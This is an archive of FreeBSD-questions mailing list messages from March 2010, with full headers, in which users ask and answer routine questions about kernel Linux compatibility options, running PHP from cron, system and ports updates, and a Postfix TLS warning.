9 Mar 2010 17:35:28 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 13C308FC1A for ; Tue, 9 Mar 2010 17:35:27 +0000 (UTC) Received: by gyg8 with SMTP id 8so2162563gyg.13 for ; Tue, 09 Mar 2010 09:35:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=RHgCa43xhEfjUnU8TK/NToMm25hhncy+Az9tgY0PWXo=; b=bjZZU5tIZ1vcPKN4oMxEhGU4OqdB8zwSivxlzQmA0PbIaIaYdlcxs1BILWyqG6fSJ7 1gnP1LetT7pO98EWgnrOBKNBK/7zxNdVkVRj0NuyKokBLB2/8z1HFBrJHolysINbIUCq GaAJWn35As5YHgUdIAQe4G/quhlkvWPds2mmc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=nyXsqRA+1eb2vbcXv+OaigsUvVkh+RBQBPdRRFoUX8ge2tlTMe3Y/KXlQvwHHzzqaA Juh03w0usbPm80j3JgTRpyEFc1F3pKY6HV5eMOwVxvBW+Fdv+YvS8j3NmH5n8X85fc01 Klu/RGxT4FTlCWLyzcsww4umTof9eY0uXAG6s= MIME-Version: 1.0 Received: by 10.151.20.11 with SMTP id x11mr619819ybi.156.1268156127121; Tue, 09 Mar 2010 09:35:27 -0800 (PST) Date: Tue, 9 Mar 2010 11:35:27 -0600 Message-ID: <970380131003090935gb387d53o3d98829df8d64a6d@mail.gmail.com> From: Jason Garrett To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Compiling Linux into Kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 17:35:28 -0000 I know the usual way of loading the linux module and configuring it in rc.conf, but can it be compiled directly into the kernel? If so, what would the line for it look like? From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 17:37:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8E434106567D for ; Tue, 9 Mar 2010 17:37:01 +0000 (UTC) (envelope-from betts@norden1.com) Received: from picard1.norden1.com (99-32-48-19.uvs.toldoh.sbcglobal.net [99.32.48.19]) by mx1.freebsd.org (Postfix) with ESMTP id 58C748FC1F for ; Tue, 9 Mar 2010 17:37:01 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by picard1.norden1.com (Postfix) with ESMTP id B82A83F48B for ; Tue, 9 Mar 2010 11:57:19 -0500 (EST) Received: from picard1.norden1.com ([127.0.0.1]) by localhost (picard1.norden1.com [127.0.0.1]) (amavisd-maia, port 10024) with ESMTP id 52668-09 for ; Tue, 9 Mar 2010 11:57:09 -0500 (EST) Received: from [192.168.1.66] (Macintosh [192.168.1.66]) (Authenticated sender: betts@norden1.com) by picard1.norden1.com (Postfix) with ESMTPA id 2EC993F48A for ; Tue, 9 Mar 2010 11:57:09 -0500 (EST) Message-Id: <551AED7A-2336-40B6-B8B8-3EF2637D03B0@norden1.com> From: Darrell Betts To: freebsd-questions@freebsd.org Mime-Version: 1.0 (Apple Message framework v936) Date: Tue, 9 Mar 2010 11:57:07 -0500 X-Mailer: Apple Mail (2.936) X-Virus-Scanned: Maia Mailguard Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Trying run a php script from cron X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 17:37:01 -0000 I am trying to run a php script from the cron tab and these are the errors I receive: /usr/local/bin/php php -q /home/xxxx/ripper.php result Could not open input file: php /usr/local/bin/php php -/home/xxxx/ripper.php result Could not open input file: php /usr/local/bin/php -/home/xxxx/ripper.php result This script must be called from the command line. Running Freebsd 8.0, Php 5.2.12 I have chmod the script 644 still no luck tried it chmod 777 still no luck. I have goggled this problem and followed the tutorials but still no luck. Any ideas how I can get the script to run? I can run run it from the command line without any problems. Thanks Darrell Betts betts@norden1.com ----------------------------------------------------------- Looks like I Picked the Wrong Week to Stop Sniffing Glue. -- Steve McCroskey -- Live ATC Feed from Toledo Express Airport http://d.liveatc.net/ktol.m3u From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 17:41:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CFB141065677 for ; Tue, 9 Mar 2010 17:41:49 +0000 (UTC) (envelope-from rfarmer@predatorlabs.net) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.24]) by mx1.freebsd.org (Postfix) with ESMTP id 990FC8FC13 for ; Tue, 9 Mar 2010 17:41:49 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so336309qwi.7 for ; Tue, 09 Mar 2010 09:41:48 -0800 (PST) MIME-Version: 1.0 Received: by 10.224.72.228 with SMTP id n36mr85434qaj.138.1268156487006; Tue, 09 Mar 2010 09:41:27 -0800 (PST) X-Originating-IP: [128.95.133.64] In-Reply-To: <970380131003090935gb387d53o3d98829df8d64a6d@mail.gmail.com> References: <970380131003090935gb387d53o3d98829df8d64a6d@mail.gmail.com> Date: Tue, 9 Mar 2010 09:41:26 -0800 Message-ID: From: Rob Farmer To: Jason Garrett Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD-Questions Subject: Re: Compiling Linux into Kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 17:41:49 -0000 On Tue, Mar 9, 2010 at 9:35 AM, Jason Garrett wrote: > I know the usual way of loading the linux module and configuring it in > rc.conf, but can it be compiled directly into the kernel? > > If so, what would the line for it look like? options COMPAT_LINUX or if you are on amd64 options COMPAT_LINUX32 You can compile in the linprocfs module with options LINPROCFS See /usr/src/sys/conf/NOTES and /usr/src/sys/$ARCH/conf/NOTES to find lists of all available kernel options. -- Rob Farmer > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 17:44:17 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9179A1065673 for ; Tue, 9 Mar 2010 17:44:17 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.154]) by mx1.freebsd.org (Postfix) with ESMTP id 1DB778FC15 for ; Tue, 9 Mar 2010 17:44:15 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so2306287fge.13 for ; Tue, 09 Mar 2010 09:44:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:mail-followup-to:mime-version:content-type :content-disposition:content-transfer-encoding:user-agent :x-operating-system; bh=w+PWjNAMzPOdbMzIPd8ktg9lKtZemHkt/4+AvLdLNTU=; b=Chm9p/5AmcNGn4dTEf/8KDXKLWRdhgNYdZdXQeU1s0chCKO+PioUjV4eH44D6Xmfq5 0TOGLfNtjh31U56DJqHRO/hdjsnUDlnWFLPWDQWoWVTs1txzKX0+ml8nD9LubGRA45GF cYTGJFJN9IVKXzDPWLPOM/cQFPXdjh4U8VAlI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:content-transfer-encoding :user-agent:x-operating-system; b=umRJTQAmkrLfGGROsIKWLNSd+yfbgHWFMHqTwgv3Zc1XvU1HMeyP7JYLQYTJhsStXS h+wpePQqN1R6CwXVNCynRlSXW/BjUDCfiNW/BBIpr2O2uHctHGvsZa5lZj02TOB9BGVC iE6BWnJAZUOSsAvsPftEMfx+3LCUfvFMJea+A= Received: by 10.87.38.38 with SMTP id q38mr609923fgj.66.1268156654903; Tue, 09 Mar 2010 09:44:14 -0800 (PST) Received: from gmail.com (125.27.78.70.adsl.dynamic.totbb.net [125.27.78.70]) by mx.google.com with ESMTPS id d6sm8392930fga.2.2010.03.09.09.44.11 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 09:44:13 -0800 (PST) Date: Wed, 10 Mar 2010 00:45:50 +0700 From: Pongthep Kulkrisada To: freebsd-questions@freebsd.org Message-ID: <20100309174550.GB1753@gmail.com> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD/8.0-RELEASE-p2 (i386) Subject: Re: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 17:44:17 -0000 * Chuck Swiger (cswiger@mac.com) wrote: > If you track RELENG_8, you get -STABLE system from a build cycle. If you > track RELENG_8_0, you are tracking the security branch and get your own > "official" -RELEASE system from the build cycle. > > http://www.freebsd.org/security/ says: >=20 > "Supported FreeBSD Releases >=20 > The FreeBSD Security Officer provides security advisories for several > branches of FreeBSD development. These are the -STABLE Branches and the > Security Branches. (Advisories are not issued for the -CURRENT Branch.) >=20 > ? The -STABLE branch tags have names like RELENG_7. The corresponding > builds have names like FreeBSD 7.0-STABLE. >=20 > ? Each FreeBSD Release has an associated Security Branch. The Security > Branch tags have names like RELENG_7_0. The corresponding builds have nam= es > like FreeBSD 7.0-RELEASE-p1." You explained very clear, much appreciated. > However, one does not normally swap back and forth between building from > source and doing binary upgrades, although it's certainly fine if you > wanted to get freebsd-upgrade working and use it from here on out. I only wanted to try again because the previous tries failed. I actually was not expecting any update to be occured. =46rom now on I should adhere with binary update, very fast. It also synchronizes source tree with binary. But I'm still question that how can we keep long uptime, if we always boot. Some boxes have been serving for many years without shutdown. > > 3. freebsd-update did not request for mergemaster(8). [edit] > > How can we ensure that things in /etc go well? >=20 > Read /usr/src/UPDATING for notes about important changes. Very technical, few people can understand. It's good anyway. :-) > Run mergemaster -iU, although you don't need to bother unless you're movi= ng > to at least a .x upgrade or there was a specific mention in the security > advisory otherwise. Okay. > I update most systems at least as often as FreeBSD security advisories ar= e posted; Where or which mailing lists? Is there any ``push model'' like Windows Update? It will prompt right after boot finish, when new patches exist. > and ports whenever portaudit warns of an issue. If a new version of > something which is a primary function of some box is updated, I might upd= ate > more frequently for such a specific reason. I have just know that ports-mgmt/portaudit can also report the availability= of new ports. I thought that it only issues warnings when security vulnerabilities occurs. > I have test machines that get updated about weekly. I have firewall boxe= s with multiyear uptimes where I've only updated OpenSSH+OpenSSL when neede= d, since port 22 for management is all they do. So you didn't update the system to keep long uptime. > I'm going to conclude from this question that you aren't running producti= on systems. :-) Yes I'm a novice (hobbyist). :-) > You only need to rebuild all ports when you are updating the system for a= major release, like from 7.x to 8.x. Otherwise, portmaster, portupgrade, = etc will determine which ports have changes and only rebuild those ones. I shall use portmaster whenever I update *major* or *minor* release. But excluding patches. Thanks, Pongthep From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 17:56:32 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3FEA0106566C for ; Tue, 9 Mar 2010 17:56:32 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from mail-fx0-f215.google.com (mail-fx0-f215.google.com [209.85.220.215]) by mx1.freebsd.org (Postfix) with ESMTP id C1ABF8FC12 for ; Tue, 9 Mar 2010 17:56:31 +0000 (UTC) Received: by fxm7 with SMTP id 7so3229149fxm.14 for ; Tue, 09 Mar 2010 09:56:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:cc:subject :message-id:mail-followup-to:references:mime-version:content-type :content-disposition:in-reply-to:user-agent:x-operating-system; bh=oOVcW5noLLmSrFHEghYoOT8xp7jwe/DcFgUdcDgNkbE=; b=ps3ot9QGr5vmOIGKcuzrXJLv4z9VxSD8obOmWRD8JTCgfF00TNX2nnQmPqy+sRDLlO axc4FYr9ur16n/HZK42fGlNud7hpVvio1v2BTBnTWSF6rGwExOLWcrcsDiBGS/0gNH7E xrGtyAcUCM7JM7toAE9Qjcnfts2svXNBio+9k= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent:x-operating-system; b=N3daDtfcsxGolWiB8xlIdSmhwOIQn3lSicjT5323ku5YseW4lc3WWO+jAuRHRRXTgR CsMybpP6/1lr0L6CLA+d+Sdphh2xD9PA32N59O9rS63wmS8of8eceXV71WesdImTcVBF 8bjLLJIL9k422zc6pV9BIVro77aHStEFO0NZA= Received: by 10.223.17.70 with SMTP id r6mr176210faa.24.1268157390519; Tue, 09 Mar 2010 09:56:30 -0800 (PST) Received: from gmail.com (125.27.78.70.adsl.dynamic.totbb.net [125.27.78.70]) by mx.google.com with ESMTPS id y15sm11561187fkd.38.2010.03.09.09.56.27 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 09:56:29 -0800 (PST) Date: Wed, 10 Mar 2010 00:58:09 +0700 From: Pongthep Kulkrisada To: RW Message-ID: <20100309175809.GC1753@gmail.com> Mail-Followup-To: RW , freebsd-questions@freebsd.org References: <20100309160734.GB1190@gmail.com> <20100309165740.1f2b4ff8@gumby.homeunix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20100309165740.1f2b4ff8@gumby.homeunix.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD/8.0-RELEASE-p2 (i386) Cc: freebsd-questions@freebsd.org Subject: Re: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 17:56:32 -0000 * RW (rwmaillists@googlemail.com) wrote: > that should be RELENG_8_0 Sorry for typo, but actually I only appended to the existing supfile. Thing goes well. > Stable is a stable development branch, if you want to use > freebsd-update you need to use a proper release security branch. Does that mean -STABLE can not use freebsd-update? If so, I am clear now because I encountered the problem when I used freebsd-update from -STABLE. It failed. Thanks, Pongthep From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 18:02:32 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 734FF106564A for ; Tue, 9 Mar 2010 18:02:32 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 20F398FC17 for ; Tue, 9 Mar 2010 18:02:31 +0000 (UTC) Received: by gyg8 with SMTP id 8so2179326gyg.13 for ; Tue, 09 Mar 2010 10:02:31 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=pZ4eIZ8TKby+DDKxL5Ho0a5ccX0mYH8uCsgLV+ghrZ4=; b=mRv8mvqe9bVjIOWbmDvq6sTJ6vgBHOk03Va5ZWQbpypBWIp+Eg456S99ImEJi6hECr VMlfGu+5yKRbVtcvWFrdeSCU2ClftOcZICGuMSTKawkRpJqznnRJ25ZwivZk7MEow1Zu 2t5ACmfRWvDNzwzaMiK2Dxm/l+W+hyBotd7EQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=AGSjzbiIc5PCUZJnWUb/5UzfZn6w2RWNbBsh7ZpGxwAQZeZOSisKG/7wDIVWRsCtsa q1RBccV+oVRJDkp0gq5vBHdh8baagoMimXJei1DNgTMG9bW1/hrCGgDdH1bKPLBcr7yI JYyeCbz0LLfhC2DnGZRhDMXzb3NW3K+hquSnU= MIME-Version: 1.0 Received: by 10.150.127.1 with SMTP id z1mr674685ybc.177.1268157750147; Tue, 09 Mar 2010 10:02:30 -0800 (PST) In-Reply-To: References: <970380131003090935gb387d53o3d98829df8d64a6d@mail.gmail.com> Date: Tue, 9 Mar 2010 12:02:30 -0600 Message-ID: <970380131003091002u6d3da0bcr8be4f6c4c6ffe3cb@mail.gmail.com> From: Jason Garrett To: Rob Farmer Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: FreeBSD-Questions Subject: Re: Compiling Linux into Kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 18:02:32 -0000 On Tue, Mar 9, 2010 at 11:41, Rob Farmer wrote: > On Tue, Mar 9, 2010 at 9:35 AM, Jason Garrett wrote: > > I know the usual way of loading the linux module and configuring it in > > rc.conf, but can it be compiled directly into the kernel? > > > > If so, what would the line for it look like? > > options COMPAT_LINUX > > or if you are on amd64 > > options COMPAT_LINUX32 > > You can compile in the linprocfs module with > options LINPROCFS > > See /usr/src/sys/conf/NOTES and /usr/src/sys/$ARCH/conf/NOTES to find > lists of all available kernel options. > > Thanks! I had read all of the NOTES files last night but it was late and I must have missed them (doh!) > -- > Rob Farmer > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > > > From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 18:18:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 951AA106564A for ; Tue, 9 Mar 2010 18:18:14 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id 4CD1F8FC1A for ; Tue, 9 Mar 2010 18:18:13 +0000 (UTC) Received: by qyk14 with SMTP id 14so2334145qyk.9 for ; Tue, 09 Mar 2010 10:18:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=dRMV+APzw4XSQW1n2sw4ibOvvUn8pB4HQ/Asj+NXK74=; b=dSmzPQTG7rRcG22L2gh4QI1k6XRUOmbvxzCWQiOa0yORvNEf/vTmWjT5M20CcDdknD N5HJ8jLiAehXESfzr8phykqGrlSGWiWejsdw8A8eg8pUPhEDFMttYd15xwG9+xrPo0TC H8ualZuyW2kIeFwU5exF7mY9k28clSgZofpwg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=kb86HXTC10GFfxJSDNZyLNWdeD/hxibWx2PXYGeHK5pZbXPZGWhP+1PpxyiFqLkqCe 7qP4KiqWAnyBjI6IMtKmFQaZ5WVV6NCiMIyu5fmIEtonv3xhbiSnOHzqdYHkWhBPpkAx b14iybHyyye7+n6WGbRx7s099VpSQwU/IYDiw= MIME-Version: 1.0 Received: by 10.229.219.8 with SMTP id hs8mr249300qcb.25.1268158693259; Tue, 09 Mar 2010 10:18:13 -0800 (PST) In-Reply-To: <551AED7A-2336-40B6-B8B8-3EF2637D03B0@norden1.com> References: <551AED7A-2336-40B6-B8B8-3EF2637D03B0@norden1.com> Date: Tue, 9 Mar 2010 10:18:12 -0800 Message-ID: <560f92641003091018m1c1ffeeg229cc2fc29079d7@mail.gmail.com> From: Nerius Landys To: Darrell Betts Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: Trying run a php script from cron X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 18:18:14 -0000 > I am trying to run a php script from the cron tab and these are the errors I > receive: > > > /usr/local/bin/php php -q /home/xxxx/ripper.php result > Could not open input file: php > /usr/local/bin/php php -/home/xxxx/ripper.php result > > Could not open input file: php > > /usr/local/bin/php -/home/xxxx/ripper.php result > > This script must be called from the command line. > > Running Freebsd 8.0, Php 5.2.12 > I have chmod the script 644 still no luck tried it chmod 777 still no luck. > I have goggled this problem and followed the tutorials but still no luck. > Any ideas how I can get the script to run? > I can run run it from the command line without any problems. Instead of /usr/local/bin/php php -q /home/xxxx/ripper.php try /usr/local/bin/php -f /home/xxxx/ripper.php or just /usr/local/bin/php /home/xxxx/ripper.php You can also try a script like this one: #!/usr/local/bin/php -f And running it like this: /home/xxxx/ripper.php after chmod'ing it to be executable. From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 18:36:33 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11D53106564A for ; Tue, 9 Mar 2010 18:36:33 +0000 (UTC) (envelope-from noeldude@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id B70908FC16 for ; Tue, 9 Mar 2010 18:36:32 +0000 (UTC) Received: by gyg8 with SMTP id 8so2200098gyg.13 for ; Tue, 09 Mar 2010 10:36:31 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=Acq5LaAO+LJqne4djOFJ9YzswgXA5sjLvYxUyFsmhmk=; b=DfcQx5gXp02YWNjWDoBJ3QI99vzv4mT5xvCeVabrCL8XcD1NuWh5B81wTsrbE/giQa iJ20X0sqn9hO02u08btnMPLbsfwyUfj+dBS2yDpHofpqyzYKAoPGXqn8jbd66QF0iVr4 6ktVxtbaTavV+JZilJeuAAXThWwve5DEQ+T9c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=F7xuJ9GtmcZIgwuDXxSAccddz9kM1Oc/DLctAzjP7nlwriMD9YYhyPzydNQSqKwYY8 A1AE2Vk/0LXOtkhMVMCCt4CxkUwnr/nmZqVakQ8tCYCQt2fv61wUguc4ubIzpIjwkLCO ZCBN3gTxTtg9J4TdwN2QPZj4LZoxr4RaixoGA= MIME-Version: 1.0 Received: by 10.150.4.25 with SMTP id 25mr705202ybd.285.1268159791654; Tue, 09 Mar 2010 10:36:31 -0800 (PST) In-Reply-To: <20100309061132.6d1ff157@scorpio.seibercom.net> References: <20100309061132.6d1ff157@scorpio.seibercom.net> Date: Tue, 9 Mar 2010 12:36:31 -0600 Message-ID: From: Noel Jones To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: warning: network_biopair_interop: error reading 5 bytes from the network: Connection reset by peer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 18:36:33 -0000 On Tue, Mar 9, 2010 at 5:11 AM, Jerry wrote: > Since updating to FreeBSD 7.3-PRERELEASE, I am having problems with my > mail server. I have Postfix (2.7-20100117) installed. When sending, this > warning message appears in the mail log: > > warning: network_biopair_interop: error reading 5 bytes from the > network: Connection reset by peer > > When I posted this on the Postfix forum, Wietse Venema, the author of > Postfix, replied: > > Connection reset by peer (or error code ECONNRESET) means that the > other party hung up. > > This never happened prior to updating FreeBSD to FreeBSD > 7.3-PRERELEASE. Has anyone else experienced this or have a solution? > > -- > Jerry > gesbbb@yahoo.com Maybe you didn't have TLS enabled before? Anyway, this message caused by the other end disconnecting abruptly. If you just get it once in a while, it can be safely ignored. If you get it on every connection, your TLS is broken. If you get it fairly consistently with some specific client, maybe that client has a busted TLS implementation. -- Noel Jones From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 19:19:30 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4E671106566C for ; Tue, 9 Mar 2010 19:19:30 +0000 (UTC) (envelope-from kline@thought.org) Received: from ethic.thought.org (plato.thought.org [209.180.213.209]) by mx1.freebsd.org (Postfix) with ESMTP id 115798FC18 for ; Tue, 9 Mar 2010 19:19:29 +0000 (UTC) Received: from thought.org (ethic.thought.org [10.47.0.230]) (authenticated bits=0) by ethic.thought.org (8.14.3/8.14.3) with ESMTP id o29JJJ6v055895; Tue, 9 Mar 2010 11:19:19 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1001 kline@thought.org; Tue, 9 Mar 2010 11:19:19 -0800 (PST) Date: Tue, 9 Mar 2010 11:19:19 -0800 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20100309191916.GA55827@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-1.2 required=3.6 tests=ALL_TRUSTED,BAYES_00, FH_DATE_PAST_20XX autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ethic.thought.org Cc: Subject: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 19:19:30 -0000 Well, first time this happened since I got my Dell 8200. It suddenly died. I just finished sending an email a few minutes earlier. I'm writing from my only other live non-server. The KVM switch was mis-installed so I can't KVM over to my DNS server. Does this happen often with Dells? What should I be looking for to replace the 8200. thanks for any suggestions. -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 19:25:02 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7EFDF106564A for ; Tue, 9 Mar 2010 19:25:02 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail8.sea5.speakeasy.net (mail8.sea5.speakeasy.net [69.17.117.10]) by mx1.freebsd.org (Postfix) with ESMTP id 590A08FC18 for ; Tue, 9 Mar 2010 19:25:02 +0000 (UTC) Received: (qmail 3595 invoked from network); 9 Mar 2010 19:25:01 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail8.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 9 Mar 2010 19:25:01 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 4FE6650887; Tue, 9 Mar 2010 14:24:59 -0500 (EST) From: Lowell Gilbert To: Anton Shterenlikht References: <20100309103133.GG52284@mech-cluster241.men.bris.ac.uk> Date: Tue, 09 Mar 2010 14:24:59 -0500 In-Reply-To: <20100309103133.GG52284@mech-cluster241.men.bris.ac.uk> (Anton Shterenlikht's message of "Tue, 9 Mar 2010 10:31:33 +0000") Message-ID: <44tyspl2lw.fsf@be-well.ilk.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: unzip fails to extract password protected archive X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 